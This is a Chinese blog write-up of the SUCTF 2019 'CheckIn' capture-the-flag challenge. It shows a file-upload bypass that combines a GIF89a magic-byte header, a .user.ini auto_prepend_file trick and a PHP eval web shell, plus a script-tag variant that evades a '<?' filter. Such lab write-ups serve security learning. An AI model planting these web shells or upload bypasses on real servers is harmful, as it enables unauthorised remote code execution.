zoukankan      html  css  js  c++  java
  • [SUCTF 2019]CheckIn

    0x00

    打开web如下,可以看到这是一道上传的题

    新建一个文件命名为3.php,进行上传,得到如下结果

    发现被过滤了,进行模糊测试,发现php相关拓展名的都已被过滤掉,但是上传其他类型文件时显示不为jpg类型文件(如下),可以知道使用的是exif_imagetype函数{通过文件幻数(文件头)来判断文件类型}进行判断

    通过谷歌的插件,发现该站点使用的是nginx

    所以使用.htaccess绕过行不通,因为它是Apache的配置文件
    这里我们采用.user.ini来绕过--》.user.ini
    绕过exif_imagetype函数的检查,我们可以通过添加jpg文件的文件头(GIF89a)
    创建文件.user.ini内容如下
    GIF89a
    auto_prepend_file=01.jpg
    ## auto_prepend_file将01.jpg文件的内容添加到当前目录下的php文件的开头
    
    上传得到结果如下

    我们继续创建01.jpg文件内容如下
    GIF89a
    <?php @eval($_POST['pass']);?>
    

    上传得到结果如下,发现对内容也进行了过滤,过滤了<?

    我们可以使用如下来绕过

    GIF89a
    <script language="php"> @eval($_POST['pass']);</script>
    

    重新上传,得到结果

    我们直接访问上传后地址的index.php,可以看到01.jpg中的内容已经被包含

    使用蚁剑进行连接,连接成功

    获取flag

    0x01 总结

    主要考察了如下几点:

    • 1.exif_imagetype函数绕过
    exif_imagetype函数通过检查文件幻数(文件头)来判断是不是jpg格式文件
    
    • 2..user.ini上传绕过的使用
    参数文章:.user.ini
    • 3.内容过滤<?绕过
    <?php @eval($_POST['pass']); ?>
    ## 替换为如下
    <script language="php">@eval($_POST['pass']);</script>
    
  • 相关阅读:
    line-block,white-space,overflow
    JS操作cookie
    C#的位运算
    小常识:变量的修饰符和DEMO
    JS等号的小注释
    关于谷歌浏览器的小常识
    P2568 GCD
    P2522 [HAOI2011]Problem b
    P3455 [POI2007]ZAP-Queries
    P1447 [NOI2010]能量采集
  • 原文地址:https://www.cnblogs.com/Wuser/p/13631074.html
Copyright © 2011-2022 走看看